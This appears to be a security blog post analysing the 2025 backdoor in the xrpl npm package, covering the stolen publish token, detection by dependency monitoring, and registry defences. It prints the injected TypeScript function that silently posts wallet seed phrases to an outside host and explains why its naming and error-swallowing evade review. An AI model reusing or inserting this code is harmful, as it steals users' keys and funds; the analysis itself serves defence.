The XRP Ledger’s official JavaScript SDK — xrpl on npm, published by the XRPL Foundation, 4.2 million weekly downloads — shipped a backdoor in late April 2025. Versions 4.2.1 through 4.2.4, plus 2.14.2 on the legacy branch. Any application that imported one of these versions and called wallet derivation methods silently transmitted seed phrases to an attacker-controlled server.

Not a vulnerability. Not a misconfiguration. The package did exactly what someone intended it to do.

What the code did

The attacker added one function to src/Wallet/index.ts:

const checkValidityOfSeed = (seed: string) => {
  void new Promise<void>((resolve) => {
    void fetch("https://0x9c.xyz/xrpl", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ seed }),
    }).then(() => resolve());
  });
};

This gets called at wallet derivation time — Wallet.fromSeed(), Wallet.generate(), any method that touches key material. The seed phrase goes out as a POST body to 0x9c.xyz. If the request fails, nothing happens — the wallet operation completes normally. No error, no delay, no observable side effect.

The implementation deserves some respect as tradecraft. The name checkValidityOfSeed is not random — it’s chosen to look like an internal validation routine. Someone reading through the Wallet class scanning for obvious problems would probably skip right over it. The async fire-and-forget pattern (void new Promise) serves two purposes: it doesn’t block the calling code, and it swallows any network errors. The exfiltration is non-blocking, error-silent, and plausibly named. Whoever wrote this understood the codebase well enough to know where seed phrases pass through and how to make the extraction look like it belongs there.

That’s not a script kiddie. Treat it accordingly.

How it got in

An npm publish token for the xrpl package’s organization account was compromised. The attacker used valid credentials to publish directly to the registry. The packages appeared under the official namespace because they were published by the official account. Every metadata signal was clean.

This is the attack surface that matters: npm’s trust model bottoms out at the publish token. If you have the token, you are the publisher. The registry doesn’t know or care whether the code you’re publishing matches any source repository, or whether the new version does things the previous fifty versions didn’t do. It validates the credential, not the content.

The mechanism is the same one that made Shai-Hulud effective — that worm spread by harvesting npm tokens from CI environments and using them to publish backdoored versions of packages. Different scale and method of acquisition, same root: the token is the identity is the trust. xrpl.js was a targeted single-package compromise via one stolen credential. Shai-Hulud was a self-replicating campaign that churned through credentials at scale. The registry couldn’t distinguish either one from a legitimate publish.

Why seed phrases are the worst thing to lose

API keys can be rotated. OAuth tokens can be revoked. Passwords can be changed. Seed phrases cannot.

A cryptocurrency wallet address is mathematically derived from its seed. There’s no mechanism to change the relationship between a seed and the addresses it controls — that’s not a policy limitation, it’s how the cryptography works. A seed phrase that has been transmitted to an attacker is permanently compromised. The only remediation is wallet migration: generate new wallets, move funds, deprecate the old addresses.

For applications doing programmatic wallet derivation — generating a new wallet per user account at registration, for example — the exposure window covers every wallet created while the backdoored version was running. Not just wallets whose seeds were entered by hand. Every derivation call, automated or manual, went to 0x9c.xyz.

Discovery

Aikido Security caught this on April 22nd doing routine dependency analysis. Their tooling flagged an outbound network call from a cryptographic package — a signing library that had no business making external requests was making one. Anomaly detection on published package behavior, not a tip, not a code audit triggered by a report. The discovery was incidental in the best sense: the monitoring was looking for exactly this class of behavior, and found it.

This is worth noting because it describes the actual detection gap. npm audit wouldn’t have flagged it — the backdoor wasn’t in a registered advisory, and npm audit checks known vulnerabilities against a database, not unexpected behavior in published code. Standard dependency scanning tools check versions against vulnerability lists. None of that catches a backdoor that was introduced into a version that was clean when it was first assigned that version number. You need tooling that looks at what the published code actually does.

The structural problem

The XRP Ledger compromise is a clean illustration of what “supply chain attack” actually means when the target is a package registry. Every authenticity signal the registry can verify was authentic: correct package name, correct publisher account, valid token, clean metadata. The only inauthentic thing was the code itself. The registry has no mechanism to verify that published code corresponds to the source repository it’s supposed to represent, or that it doesn’t do things the package’s users wouldn’t expect.

This is technically fixable. Mandatory provenance attestations — linking published packages to specific commits via Sigstore/SLSA — would mean a published package carries a cryptographic claim about which source commit it was built from. Any divergence between the published artifact and the claimed source is detectable. Enforced 2FA on publish tokens for high-download packages raises the cost of credential compromise. Anomaly detection at publish time — new external network calls in a cryptographic package should trigger automated review — would have caught this before distribution.

None of these are defaults. npm publish --provenance exists and links published packages to source commits, but enforcement is opt-in. The XRPL Foundation wasn’t using it. Most packages aren’t.

The 4.2 million weekly download number is the actual scope. That’s not the number of affected installs — it’s the blast radius of the attack surface. Any application in that install base that upgraded during the window and called wallet derivation methods sent seed phrases to an attacker. The registry’s job is to distribute packages efficiently. It does that extremely well. Verifying that the packages it distributes are what they claim to be is a different problem, and it’s largely unsolved.

The xrpl maintainers pulled the affected versions and published clean replacements quickly once Aikido’s report landed. The response was competent. The window was still measured in days, on a package used by exchanges and payment processors handling real funds.

Fix your lockfiles. Audit your dependency update automation. If you ran an affected version and derived wallets, you know what you need to do.


PGP signature: xrpl-npm-the-official-package-was-the-threat.md.asc — Key fingerprint: 5FD2 1B4F E7E4 A3CA 7971 CB09 DE66 3978 8E09 1026